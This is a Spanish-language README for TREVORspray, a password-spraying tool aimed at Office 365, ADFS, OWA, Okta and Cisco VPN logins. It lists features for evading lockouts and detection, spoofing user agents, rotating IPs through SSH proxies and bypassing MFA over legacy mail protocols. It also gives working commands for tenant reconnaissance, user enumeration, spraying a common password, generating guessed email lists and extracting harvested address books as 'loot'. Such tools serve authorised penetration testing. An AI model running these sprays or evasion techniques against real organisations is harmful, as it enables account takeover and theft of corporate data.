TREVORspray 2.0

TREVORspray es un rociador de contraseñas modular con hilos, proxy SSH, módulos de botín y más.

Por @thetechr0mancer

Instalación:

pip install git+https://github.com/blacklanternsecurity/trevorproxy
pip install git+https://github.com/blacklanternsecurity/trevorspray

Vea el Blog Post adjunto para una divertida perorata y algunas demostraciones geniales.

Características

• Hilos, muchos hilos
• Múltiples módulos
  • msol (Office 365)
  • adfs (Active Directory Federation Services)
  • owa (Outlook Web App)
  • okta (Okta SSO)
  • anyconnect (Cisco VPN)
  • módulos personalizados (fáciles de hacer)
• Indica el estado de cada cuenta: si existe, está bloqueada, tiene MFA habilitado, etc.
• Cancelación/reanudación automática (recuerda combinaciones usuario/contraseña ya probadas en ~/.trevorspray/tried_logins.txt)
• Proxy round-robin a través de múltiples IPs con --ssh o --subnet
• Reconexión/reintento infinito automático si un proxy falla (o si pierde Internet)
• Suplanta User-Agent y otras firmas para parecer tráfico de autenticación legítimo
• Registro completo
• Opcional --delay, --jitter, y --lockout-delay entre solicitudes para evadir contramedidas de bloqueo
• Soporte IPv6
• Soporte para evasión de MFA de O365 (deshabilitar con --no-loot)
  • IMAP
  • SMTP
  • POP
  • EWS (Exchange Web Services) - Recupera automáticamente la libreta de direcciones global (GAL)
  • EAS (Exchange ActiveSync)
    • Evasión recomendada: aplicación BlueMail para Android
  • EXO (Exchange Online PowerShell)
  • UM (Exchange Unified Messaging)
  • AutoDiscover - Recupera automáticamente OAB (Libreta de direcciones sin conexión)
  • Acceso al Portal de Azure
• Dominio --recon con las siguientes características:
  • listar registros MX/TXT
  • listar información de O365
    • ID del inquilino
    • nombre del inquilino
    • otros dominios del inquilino
    • URL de SharePoint
    • URLs de autenticación, autodescubrimiento, configuración de federación, etc.
  • Enumeración de usuarios (use --recon y --users):
    • OneDrive
    • Azure Seamless SSO

Cómo Usar - O365

• Primero, obtenga una lista de correos electrónicos para corp.com y realice un spray para ver si la configuración predeterminada funciona. Por lo general, funciona.
• Si TREVORspray dice que los correos en su lista no existen, no se rinda. Obtenga el token_endpoint con --recon corp.com. El token_endpoint es la URL contra la que rociará (con la opción --url).
• Puede requerir algo de experimentación antes de encontrar la combinación correcta de token_endpoint + formato de correo electrónico.
  • Por ejemplo, si está atacando corp.com, puede que no sea tan fácil como rociar corp.com. Puede descubrir que la empresa matriz de Corp, Evilcorp, posee su inquilino de Azure, lo que significa que debe rociar contra el token_endpoint de evilcorp.com. Además, puede encontrar que el dominio interno de corp.com, corp.local, se usa en lugar de corp.com.
  • Así que al final, en lugar de rociar [email protected] contra el token_endpoint de corp.com, está rociando [email protected] contra el de evilcorp.com.

Ejemplo: Realizar reconocimiento contra un dominio (recupera información del inquilino, autodescubrimiento, registros mx, etc.)

trevorspray --recon evilcorp.com
...
    "token_endpoint": "https://login.windows.net/b439d764-cafe-babe-ac05-2e37deadbeef/oauth2/token"
...

Ejemplo: Enumerar usuarios a través de OneDrive (sin inicios de sesión fallidos)

trevorspray --recon evilcorp.com -u emails.txt --threads 10

Ejemplo: Rociar contra la URL "token_endpoint" descubierta

trevorspray -u emails.txt -p 'Welcome123' --url https://login.windows.net/b439d764-cafe-babe-ac05-2e37deadbeef/oauth2/token

Ejemplo: Rociar con un retraso de 5 segundos entre solicitudes

trevorspray -u [email protected] -p 'Welcome123' --delay 5

Ejemplo: Rociar y round-robin entre 3 IPs (la IP actual también se usa, a menos que se especifique -n)

trevorspray -u emails.txt -p 'Welcome123' --ssh [email protected] [email protected]

Ejemplo: Encontrar nombres de usuario válidos sin OSINT >:D

# clone wordsmith dataset
wget https://github.com/skahwah/wordsmith/releases/download/v2.1.1/data.tar.xz && tar -xvf data.tar.xz && cd data

# order first initial by occurrence
ordered_letters=asjmkdtclrebnghzpyivfowqux

# loop through first initials
echo -n $ordered_letters | while read -n1 f; do
  # loop through top 2000 USA last names
  head -n 2000 'usa/lnames.txt' | while read last; do
    # generate emails in f.last format
    echo "${f}.${last}@evilcorp.com"
  done
done | tee f.last.txt

trevorspray -u f.last.txt -p 'Welcome123'

Extraer datos de archivos LZX descargados

Cuando TREVORspray elude MFA exitosamente y recupera una libreta de direcciones sin conexión (OAB), la libreta se descarga en formato LZX a ~/.trevorspray/loot. LZX es un algoritmo de compresión antiguo y molesto utilizado por Microsoft.

# get libmspack (for extracting LZX file)
git clone https://github.com/kyz/libmspack
cd libmspack/libmspack/
./rebuild.sh
./configure
make

# extract LZX file
./examples/.libs/oabextract ~/.trevorspray/loot/deadbeef-ce01-4ec9-9d08-1050bdc41131-data-1.lzx oab.bin
# extract all strings
strings oab.bin
# extract and dedupe emails
egrep -oa '[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}' oab.bin | tr '[:upper:]' '[:lower:]' | sort -u

TREVORspray - Ayuda:

$ trevorspray --help
usage: trevorspray [-h] [-m {owa,okta,auth0,anyconnect,jumpcloud,adfs,msol,example}] [-up USERPASS [USERPASS ...]] [-u USERS [USERS ...]] [-p PASSWORDS [PASSWORDS ...]] [--url URL]
                   [-r DOMAIN] [--export-tenants FILE] [-t THREADS] [-f] [-d DELAY] [-ld LOCKOUT_DELAY] [-j JITTER] [-e] [-nl] [--ignore-lockouts] [--timeout TIMEOUT] [--random-useragent]
                   [-6] [--proxy PROXY] [-v] [-s USER@SERVER [USER@SERVER ...]] [-i KEY] [-b BASE_PORT] [-n] [--subnet SUBNET] [--interface INTERFACE]

A password sprayer with the option to load-balance traffic through SSH hosts

options:
  -h, --help            show this help message and exit

basic arguments:
  -m, --module {owa,okta,auth0,anyconnect,jumpcloud,adfs,msol,example}
                        Spray module to use (default: msol)
  -up, --userpass USERPASS [USERPASS ...]
                        file(s) containing username and password pairs (format: 'username:password')
  -u, --users USERS [USERS ...]
                        Usernames(s) and/or file(s) containing usernames
  -p, --passwords PASSWORDS [PASSWORDS ...]
                        Password(s) and/or file(s) containing passwords
  --url URL             The URL to spray against
  -r, --recon, --enumerate DOMAIN
                        Retrieves MX records and info related to authentication, email, Azure, Microsoft 365, etc. If --usernames are specified, this also enables username enumeration.
  --export-tenants FILE
                        Export all discovered tenant domains to a file

advanced arguments:
  Round-robin traffic through remote systems via SSH (overrides --threads)